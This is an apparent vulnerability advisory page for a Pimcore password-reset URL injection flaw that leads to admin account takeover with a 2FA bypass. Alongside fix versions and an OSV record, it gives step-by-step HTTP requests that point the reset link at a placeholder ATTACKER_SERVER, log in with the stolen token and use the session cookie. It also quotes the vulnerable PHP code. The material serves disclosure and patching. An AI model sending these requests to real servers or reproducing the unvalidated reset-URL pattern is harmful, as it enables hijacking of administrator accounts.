CVE-2026-55207: Pimcore Account Takeover Vulnerability

HIGH
Advisory Identifier: GHSA-h854-c3m3-mh5v
CVSS 8.8
CWE-640
Published
Advisory Summary

CVE-2026-55207 is a HIGH (CVSS 8.8) account takeover vulnerability (CWE-640: Weak Password Recovery Mechanism for Forgotten Password) affecting Pimcore libraries in the Packagist ecosystem. The issue involves account takeover via password reset url injection allows unauthenticated attacker to hijack any admin account with 2fa bypass. Remediation is available by upgrading affected packages to version 2025.4.6, 2026.1.6.

CVE-2026-55207 at a Glance

CVE Identifier CVE-2026-55207
GHSA Identifier GHSA-h854-c3m3-mh5v
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-640: Weak Password Recovery Mechanism for Forgotten Password
Affected Product Pimcore
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-55207

To remediate this vulnerability, upgrade all affected Pimcore dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pimcore/studio-backend-bundle fixed: 2025.4.6
Upgrade pimcore/studio-backend-bundle to 2025.4.6
pimcore/studio-backend-bundle fixed: 2026.1.6
Upgrade pimcore/studio-backend-bundle to 2026.1.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for pimcore/studio-backend-bundle

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55207, inspect your project dependencies for Pimcore:

inspect dependencies for pimcore/studio-backend-bundle

Analyze the terminal output to locate any version of Pimcore in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2025.4.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-640: Weak Password Recovery Mechanism for Forgotten Password, where the product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak. In Pimcore, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled `resetPasswordUrl`. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses `POST /pimcore-studio/api/login/token` to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised. ## Vulnerability Details ### Unauthenticated Endpoint Accepts Attacker URL The reset password endpoint at `src/User/Controller/ResetPasswordController.php` line 53 is public (uses `PUBLIC_STUDIO_API` voter). The `ResetPassword` schema at `src/User/Schema/ResetPassword.php` accepts a `resetPasswordUrl` string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain. ```php final readonly class ResetPassword { public function __construct( private string $username, private string $resetPasswordUrl // attacker-controlled, no validation ) {} } ``` ### Token Appended to Attacker URL In `src/User/Service/UserLoginService.php` at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token: ```php $token = $this->authenticationResolver->generateTokenByUser($user); $loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token; ``` The token is generated and stored in the database BEFORE `sendResetPasswordMail()` is called on line 68. Even if email delivery fails, the token exists. ### Token Login Bypasses 2FA `src/Security/Authenticator/AdminTokenAuthenticator.php` line 60 explicitly disables 2FA on token login: ```php $pimcoreUser->setTwoFactorAuthentication('required', false); ``` ### Token Validity The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow. ## Steps to Reproduce Tested on Pimcore 12.x (2026.x branch, latest commit `82f9ff6`), Docker, PHP 8.4. ### 1. Send password reset with attacker URL (no authentication needed) ```http POST /pimcore-studio/api/user/reset-password HTTP/1.1 Host: TARGET Content-Type: application/json {"username":"admin","resetPasswordUrl":"https://ATTACKER_SERVER:9999/steal"} ``` <img width="1756" height="882" alt="image" src="https://github.com/user-attachments/assets/9cb90c8e-6c08-4cd6-980a-822bbd35dc23" /> - Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB ### 2. Confirm token was generated Database query shows the recovery token was created: ``` name has_token token_prefix admin 1 def50200cdbd3c1292288a716c623f ``` ### 3. Token login (after victim clicks the link in their email) ```http POST /pimcore-studio/api/login/token HTTP/1.1 Host: TARGET Content-Type: application/json {"token":"def50200cdbd3c1292288a716c623f...full_token..."} ``` **Response:** ``` HTTP/1.1 200 OK Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict Set-Cookie: pimcore_studio_auth_profile_token=d7a9ad; path=/; httponly; samesite=lax ``` <img width="1756" height="679" alt="image" src="https://github.com/user-attachments/assets/53bf8f30-47c1-4398-b386-9929b77a35b5" /> ### 4. Verify full admin access with the stolen session ```http GET /pimcore-studio/api/users HTTP/1.1 Host: TARGET Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419 ``` **Response:** `HTTP/1.1 200 OK` ```json {"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]} ``` <img width="1668" height="906" alt="image" src="https://github.com/user-attachments/assets/8f2b63b0-6357-4fe6-9689-35eb891de5ab" /> Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible. ## Impact An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email. The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs). Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions. ## Recommended Fix Remove the `resetPasswordUrl` parameter entirely and construct the URL server-side from the configured system domain: ```php $loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token; ``` If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains. ## Supporting Materials - Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4) - Package: `pimcore/studio-backend-bundle` - Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)

CVE-2026-55207 Affected Pimcore Versions

2 component(s)
Fixed Versions:
2025.4.62026.1.6
Product / Package Ecosystem Affected Versions Fixed Version
pimcore/studio-backend-bundle
Packagist
< 2025.4.6
2025.4.6
pimcore/studio-backend-bundle
Packagist
≥ 2026.1.0
< 2026.1.6
2026.1.6

References

Frequently Asked Questions

What is CVE-2026-55207?
CVE-2026-55207 is a security vulnerability in Pimcore involving Account Takeover via Password Reset URL Injection allows unauthenticated attacker to hijack any admin account with 2FA bypass under CWE-640: Weak Password Recovery Mechanism for Forgotten Password.
Which Pimcore versions are affected?
Affected versions include releases prior to 2025.4.6, 2026.1.6 across affected packages: pimcore/studio-backend-bundle.
What version fixes CVE-2026-55207?
Upgrading to 2025.4.6, 2026.1.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pimcore/studio-backend-bundle affected?
Yes, pimcore/studio-backend-bundle is affected in releases prior to 2025.4.6, 2026.1.6. Upgrade your dependency to 2025.4.6, 2026.1.6 or later.
What is the CVSS score of CVE-2026-55207?
CVE-2026-55207 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-55207?
CVE-2026-55207 is classified under CWE-640: Weak Password Recovery Mechanism for Forgotten Password (The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.).
How can I check Packagist dependencies for CVE-2026-55207?
Run the dependency tree command: 'inspect dependencies for pimcore/studio-backend-bundle'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h854-c3m3-mh5v",
  "modified" : "2026-08-28T19:04:16Z",
  "published" : "2026-08-28T19:04:16Z",
  "aliases" : [ "CVE-2026-55207" ],
  "summary" : "Pimcore: Account Takeover via Password Reset URL Injection allows unauthenticated attacker to hijack any admin account with 2FA bypass",
  "details" : "## Summary\n\nAn unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled `resetPasswordUrl`. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses `POST /pimcore-studio/api/login/token` to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.\n\n## Vulnerability Details\n\n### Unauthenticated Endpoint Accepts Attacker URL\n\nThe reset password endpoint at `src/User/Controller/ResetPasswordController.php` line 53 is public (uses `PUBLIC_STUDIO_API` voter). The `ResetPassword` schema at `src/User/Schema/ResetPassword.php` accepts a `resetPasswordUrl` string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.\n\n```php\nfinal readonly class ResetPassword\n{\n    public function __construct(\n        private string $username,\n        private string $resetPasswordUrl  // attacker-controlled, no validation\n    ) {}\n}\n```\n\n### Token Appended to Attacker URL\n\nIn `src/User/Service/UserLoginService.php` at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:\n\n```php\n$token = $this->authenticationResolver->generateTokenByUser($user);\n$loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;\n```\n\nThe token is generated and stored in the database BEFORE `sendResetPasswordMail()` is called on line 68. Even if email delivery fails, the token exists.\n\n### Token Login Bypasses 2FA\n\n`src/Security/Authenticator/AdminTokenAuthenticator.php` line 60 explicitly disables 2FA on token login:\n\n```php\n$pimcoreUser->setTwoFactorAuthentication('required', false);\n```\n\n### Token Validity\n\nThe token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.\n\n## Steps to Reproduce\n\nTested on Pimcore 12.x (2026.x branch, latest commit `82f9ff6`), Docker, PHP 8.4.\n\n### 1. Send password reset with attacker URL (no authentication needed)\n\n```http\nPOST /pimcore-studio/api/user/reset-password HTTP/1.1\nHost: TARGET\nContent-Type: application/json\n\n{\"username\":\"admin\",\"resetPasswordUrl\":\"https://ATTACKER_SERVER:9999/steal\"}\n```\n<img width=\"1756\" height=\"882\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9cb90c8e-6c08-4cd6-980a-822bbd35dc23\" />\n\n- Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB\n\n### 2. Confirm token was generated\n\nDatabase query shows the recovery token was created:\n\n```\n name    has_token   token_prefix\n admin   1           def50200cdbd3c1292288a716c623f\n```\n\n### 3. Token login (after victim clicks the link in their email)\n\n```http\nPOST /pimcore-studio/api/login/token HTTP/1.1\nHost: TARGET\nContent-Type: application/json\n\n{\"token\":\"def50200cdbd3c1292288a716c623f...full_token...\"}\n```\n\n**Response:**\n\n```\nHTTP/1.1 200 OK\nSet-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict\nSet-Cookie: pimcore_studio_auth_profile_token=d7a9ad; path=/; httponly; samesite=lax\n```\n<img width=\"1756\" height=\"679\" alt=\"image\" src=\"https://github.com/user-attachments/assets/53bf8f30-47c1-4398-b386-9929b77a35b5\" />\n\n### 4. Verify full admin access with the stolen session\n\n```http\nGET /pimcore-studio/api/users HTTP/1.1\nHost: TARGET\nCookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419\n```\n\n**Response:** `HTTP/1.1 200 OK`\n\n```json\n{\"totalItems\":1,\"items\":[{\"id\":1,\"username\":\"admin\",\"additionalAttributes\":[]}]}\n```\n<img width=\"1668\" height=\"906\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8f2b63b0-6357-4fe6-9689-35eb891de5ab\" />\n\nFull admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.\n\n## Impact\n\nAn unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.\n\nThe attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).\n\nOnce authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.\n\n## Recommended Fix\n\nRemove the `resetPasswordUrl` parameter entirely and construct the URL server-side from the configured system domain:\n\n```php\n$loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;\n```\n\nIf the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.\n\n## Supporting Materials\n\n- Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4)\n- Package: `pimcore/studio-backend-bundle`\n- Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pimcore/studio-backend-bundle"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2025.4.6"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pimcore/studio-backend-bundle"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2026.1.0"
      }, {
        "fixed" : "2026.1.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/pimcore/security/advisories/GHSA-h854-c3m3-mh5v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55207"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/studio-backend-bundle/pull/1882"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/studio-backend-bundle/commit/ea9d329686f5e5aea2eec378d63ac2deb965bb27"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pimcore/pimcore"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-640" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T19:04:16Z",
    "nvd_published_at" : "2026-07-09T21:16:55Z"
  }
}